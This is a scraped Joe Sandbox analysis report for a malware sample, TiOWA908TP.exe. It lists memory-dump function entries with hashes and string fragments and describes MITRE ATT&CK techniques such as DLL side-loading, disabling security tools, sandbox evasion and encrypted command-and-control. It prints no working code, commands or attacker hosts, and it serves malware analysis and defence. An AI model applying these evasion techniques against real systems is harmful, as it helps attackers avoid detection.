Source File: 00000000.00000002.583961482.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_TiOWA908TP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dd7083e285c87a47240aa91ac179e5a546a0ebfcfe38a4527baeb9ec644cdc6
Instruction ID: 54d20e9d51f423b0e49b8e84d1f62bed17f938caf0c2d2ba86620f6e08856bf8
Opcode Fuzzy Hash: 7dd7083e285c87a47240aa91ac179e5a546a0ebfcfe38a4527baeb9ec644cdc6
Instruction Fuzzy Hash: A531EA71D096588FDB19CF6B8C146DDBBB6AFC9300F18C1AAC849AA265DB740546CF11

Function 055D0040 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.585604882.00000000055D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_55d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3d341f373a7295d771cb18ec8a3593d4c2cc6987e7f5393e12d3324ed6c1908
Instruction ID: 99cc04547dd39822f171a9b73cabd4d747fe81b8127b4302feb755afc776acea
Opcode Fuzzy Hash: b3d341f373a7295d771cb18ec8a3593d4c2cc6987e7f5393e12d3324ed6c1908
Instruction Fuzzy Hash: 1621C971D046188BEB28CF5B8C4979AFAF7BFC9200F04C1FAD45CA6254EB740A858F41

Function 003D1AA9 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20b40271338657b71d8663ff1b9737ca152a81ace54814a7e7faa683ea1bfda8
Instruction ID: bcdbabf7f130e1cf0794daad170d31e473581c8aa289bc339b752ed874381264
Opcode Fuzzy Hash: 20b40271338657b71d8663ff1b9737ca152a81ace54814a7e7faa683ea1bfda8
Instruction Fuzzy Hash: BE31A9B1E006188BEB59CF6BDD4578AFAF7AFC9300F14C0AAC44CAA265DB7405868F41

Function 003DD870 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e98d0d706a4b14cf36256436d35fa24d79295d9268ca86b0c7135df03605766d
Instruction ID: baa42734569354d591bec7582bbed5e18ed91549fba45d0f7465a439175700ce
Opcode Fuzzy Hash: e98d0d706a4b14cf36256436d35fa24d79295d9268ca86b0c7135df03605766d
Instruction Fuzzy Hash: 99219472D056588BEB29CF5B9D546DEBBF7ABC9300F14C0AAC40CAA364DB754A458E40

Function 00CD1645 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.584023368.0000000000CD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cd0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f54b24f3bd16ec6968aebcd82c469573580fdf0ae457ea19c9c8e9e4eabe15c
Instruction ID: fd47a2d43e552df6db7b248a86d75c61ddba95daae2f92ed0d0a76b18f74597f
Opcode Fuzzy Hash: 1f54b24f3bd16ec6968aebcd82c469573580fdf0ae457ea19c9c8e9e4eabe15c
Instruction Fuzzy Hash: 3921F4B1D056189BEB18CFABD95079DFBF3BFC8300F18C16AD808AA264DB7409468F40

Function 003DD86C Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.583833464.00000000003D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 003D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb49a9bf10b64a904770b3c50ef2aba28b6548b08b275cd5043194ac6a2834a5
Instruction ID: feed9600e50404d54ecfcc428d891c3b99bf042c2dd19f802ce8edc315158a3b
Opcode Fuzzy Hash: fb49a9bf10b64a904770b3c50ef2aba28b6548b08b275cd5043194ac6a2834a5
Instruction Fuzzy Hash: 42118671D056588BEB29CF5B9D446DEBBF7AFC9300F14C0AAD40CAA264DB354A458E40

Function 005A3C58 Relevance: 9.0, Strings: 7, Instructions: 231COMMON

Download Yara Rule

Strings

0%X, xrefs: 005A3F4C
ke, xrefs: 005A3CDC, 005A3D0C, 005A3D52, 005A3DFD, 005A3E2D, 005A3EAE, 005A3EDE, 005A3F6E
(*X, xrefs: 005A3DEB
(*X, xrefs: 005A3DDB
/X, xrefs: 005A3E8C
/X, xrefs: 005A3E9C
0%X, xrefs: 005A3F5C

Memory Dump Source

Source File: 00000000.00000002.583881329.00000000005A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 005A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5a0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$(*X$(*X$0%X$0%X$/X$/X
API String ID: 0-3494452319
Opcode ID: e3c5343ad95659943597b0726d9195607f6fa8c0ffb473a52c8784d195e9fa43
Instruction ID: 4279e657af6213b8542ae09179c447c6fc0f859cbbd5d1bee21e53df5ea740f6
Opcode Fuzzy Hash: e3c5343ad95659943597b0726d9195607f6fa8c0ffb473a52c8784d195e9fa43
Instruction Fuzzy Hash: CEA10370E14218DFCB04DF98E898AADBBB1FF4A314F20442AF806AB294D7749E45DF50

Function 00BF1308 Relevance: 7.9, Strings: 6, Instructions: 404COMMON

Download Yara Rule

Strings

(p, xrefs: 00BF14D2
4'p, xrefs: 00BF138C
4'p, xrefs: 00BF13DA
pp, xrefs: 00BF145F
4'p, xrefs: 00BF13BC
4'p, xrefs: 00BF1452

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: (p$4'p$4'p$4'p$4'p$pp
API String ID: 0-2991777393
Opcode ID: 08853c8d3f32634f74a7d86b41a684ff11ab0e241712019efbb65a77c9d6961a
Instruction ID: a22badbf30fca564dbb504c74d5f49fa3d2cc5bd6b5e063106b6281b5915dfbb
Opcode Fuzzy Hash: 08853c8d3f32634f74a7d86b41a684ff11ab0e241712019efbb65a77c9d6961a
Instruction Fuzzy Hash: 55D13D76500115DFCB05DF58C850EA9BBB2FF88310B1648E9E6096B276CB31ED56DF90

Function 00D02C29 Relevance: 6.3, Strings: 5, Instructions: 74COMMON

Download Yara Rule

Strings

TJp, xrefs: 00D02C29
U, xrefs: 00D02D46
C, xrefs: 00D02D6C
XXp, xrefs: 00D02CA7
ke, xrefs: 00D02D10

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$C$TJp$U$XXp
API String ID: 0-801732698
Opcode ID: 4ec6d3f2111897b939c599a7358baddc804adf091b478ff6db27e765cb1cefce
Instruction ID: 4b0033ee4a802d43358b7a275e05cdb940e97aa6bb86ded561c6db909f458cd0
Opcode Fuzzy Hash: 4ec6d3f2111897b939c599a7358baddc804adf091b478ff6db27e765cb1cefce
Instruction Fuzzy Hash: 523116759002288FCB66CF58CC50BD9B7BABB88300F6151AAE109A7355DB349F869F94

Function 00D03072 Relevance: 6.3, Strings: 5, Instructions: 35COMMON

Download Yara Rule

Strings

], xrefs: 00D030DF
n, xrefs: 00D03102
WMr, xrefs: 00D0307E
ke, xrefs: 00D030A6
lANv, xrefs: 00D03083

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$WMr$]$lANv$n
API String ID: 0-845120827
Opcode ID: 92ad185a4cd2ad0aecdd3e9ea99ecfbf8e96d1c72d3c6c9d8d8e8a55c65f0138
Instruction ID: 269093dc98bd0cf714adf2d7dfe00a61bb04bf63e68681fef8e53bf015ac1e20
Opcode Fuzzy Hash: 92ad185a4cd2ad0aecdd3e9ea99ecfbf8e96d1c72d3c6c9d8d8e8a55c65f0138
Instruction Fuzzy Hash: 201127B4A02218CFDB90CF68C844B9DB7B1FB49300F10409AE10DA73A1CB309E89DF24

Function 00BF7D40 Relevance: 5.2, Strings: 4, Instructions: 183COMMON

Download Yara Rule

Strings

(_p, xrefs: 00BF83FD
(_p, xrefs: 00BF8434
(_p, xrefs: 00BF846A
(_p, xrefs: 00BF83F3

Memory Dump Source

Source File: 00000000.00000002.584008759.0000000000BF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bf0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: (_p$(_p$(_p$(_p
API String ID: 0-1436489877
Opcode ID: a69c17b1dfe53b5f88b840827bbb51ee057621b3ba2fe1a76477e707ea9da7d4
Instruction ID: 860f0d5e49380b206f7c647619de70d79ab46e768372ba3364aefc44fb5f4ce1
Opcode Fuzzy Hash: a69c17b1dfe53b5f88b840827bbb51ee057621b3ba2fe1a76477e707ea9da7d4
Instruction Fuzzy Hash: 5861EF75B082458FC705DB78C86596EBFF2AF86304B1580AED5069B3A2DF31DC4ACB91

Function 055D4AC8 Relevance: 5.1, Strings: 4, Instructions: 91COMMON

Download Yara Rule

Strings

0%X, xrefs: 055D7634
W, xrefs: 055D7704
ke, xrefs: 055D4AE2, 055D7661, 055D76B0, 055D76DD
Z, xrefs: 055D7733

Memory Dump Source

Source File: 00000000.00000002.585604882.00000000055D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_55d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$0%X$W$Z
API String ID: 0-1681950006
Opcode ID: 398ed1ad6eb3aa2c4cb2e16be6277e1eb9b9c1c076d3afb43a5ed654963101bf
Instruction ID: aefe2e0c5f817acffa896ec5101d717469a8d6db5c4cf948593ca7cf10e646eb
Opcode Fuzzy Hash: 398ed1ad6eb3aa2c4cb2e16be6277e1eb9b9c1c076d3afb43a5ed654963101bf
Instruction Fuzzy Hash: D841D574A04229CFCB64DF68C889ADAB7B1FB49300F2181DAD809A7255DB34AE85CF51

Function 00A57C05 Relevance: 5.1, Strings: 4, Instructions: 87COMMON

Download Yara Rule

Strings

,, xrefs: 00A57EC9
@, xrefs: 00A57DA4
, xrefs: 00A57B3D
0, xrefs: 00A58445

Memory Dump Source

Source File: 00000000.00000002.583961482.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: $,$0$@
API String ID: 0-1188175368
Opcode ID: 8422a5c1ef8c52e0ca8848085390e615e4eb878ce678cf812044ed1feb6c2e5e
Instruction ID: 4e9f54e54ac5f4ffc90d3d264967e43a50ea0baf8c78d31761db2c7eda4fda80
Opcode Fuzzy Hash: 8422a5c1ef8c52e0ca8848085390e615e4eb878ce678cf812044ed1feb6c2e5e
Instruction Fuzzy Hash: D941F3B4A15218DFDB14CF98E898F9DB7F0BB09316F218959E806AB3A1C7349949DF00

Function 055E5E40 Relevance: 5.1, Strings: 4, Instructions: 65COMMON

Download Yara Rule

Strings

X=X, xrefs: 055E74B0
O, xrefs: 055E7511
h, xrefs: 055E5E90
ke, xrefs: 055E747E

Memory Dump Source

Source File: 00000000.00000002.585604882.00000000055D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 055D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_55d0000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$O$X=X$h
API String ID: 0-1537669369
Opcode ID: e5300743105541e03b130184bf14a544f6320850f6ea3f32f21e45beb7094294
Instruction ID: 13c7b37b7da995fff84f7a2879f9ba89a7718b2179b6cd4b755d9de94868406e
Opcode Fuzzy Hash: e5300743105541e03b130184bf14a544f6320850f6ea3f32f21e45beb7094294
Instruction Fuzzy Hash: A231C2749052298BDB68DF69C848BEEBBB6FB49304F5041EAD809B2251DB345E85CF80

Function 00D02D78 Relevance: 5.1, Strings: 4, Instructions: 63COMMON

Download Yara Rule

Strings

TJp, xrefs: 00D02D78
4V6, xrefs: 00D02DC2
/, xrefs: 00D02E56
ke, xrefs: 00D02E20

Memory Dump Source

Source File: 00000000.00000002.584039632.0000000000D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$/$4V6$TJp
API String ID: 0-1890672193
Opcode ID: aaae520f773c0d4484a6bda9a4bc6a69af2a14db070635cfccbbc19e7c52409b
Instruction ID: f8ef95e5c3c649808256a901031d438550fdf36f9145f6c35bf3b6aed00eee67
Opcode Fuzzy Hash: aaae520f773c0d4484a6bda9a4bc6a69af2a14db070635cfccbbc19e7c52409b
Instruction Fuzzy Hash: 2D21D774A006188FDB66DB58CC8479AB7B6BB48310F14919AE10DEB391DB34AB859F50

Function 00A58232 Relevance: 5.1, Strings: 4, Instructions: 51COMMON

Download Yara Rule

Strings

9, xrefs: 00A5826E
,, xrefs: 00A57EC9
ke, xrefs: 00A58247
4, xrefs: 00A5828E

Memory Dump Source

Source File: 00000000.00000002.583961482.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_TiOWA908TP.jbxd

Similarity

API ID:
String ID: ke$,$4$9
API String ID: 0-170184716
Opcode ID: ae36fe15ae48dd22229259ebafb1654c3166f4f4f0ca1aee633fe610c5c72b41
Instruction ID: 7ab767e3a66f19270d0e7a33ad9e6e2623f3d6cbc9bf95e2e8cd5c9af43101c2
Opcode Fuzzy Hash: ae36fe15ae48dd22229259ebafb1654c3166f4f4f0ca1aee633fe610c5c72b41
Instruction Fuzzy Hash: A321BF74A14218DFDB00CF98E898FADBBF1BB0A351F128496E809AB361C7309949DF11

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report TiOWA908TP.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Statistics

CPU Usage

Windows Analysis Report
TiOWA908TP.exe

Function 003D5548 Relevance: 8.5, Strings: 6, Instructions: 983
COMMON

Function 003D7910 Relevance: 7.6, Strings: 5, Instructions: 1342
COMMON

Function 00CF0F30 Relevance: 4.4, Strings: 3, Instructions: 613
COMMON

Function 00CF0F2A Relevance: 3.9, Strings: 3, Instructions: 164
COMMON

Function 003D9283 Relevance: 3.0, Strings: 2, Instructions: 539
COMMON

Function 00D09988 Relevance: 2.9, Strings: 2, Instructions: 410
COMMON

Function 00BF0040 Relevance: 4.2, Strings: 3, Instructions: 477
COMMON

Function 00BF1D00 Relevance: 4.1, Strings: 3, Instructions: 370
COMMON

Function 00BF62E0 Relevance: 4.1, Strings: 3, Instructions: 357
COMMON

Function 00A5B45C Relevance: 3.9, Strings: 3, Instructions: 109
COMMON

Function 00D02A3D Relevance: 3.8, Strings: 3, Instructions: 88
COMMON

Function 003D09A0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 56
memoryCOMMON

Function 00CD1F90 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
COMMON

Function 00CD1F98 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54
COMMON

Function 003D1988 Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 52
memoryCOMMON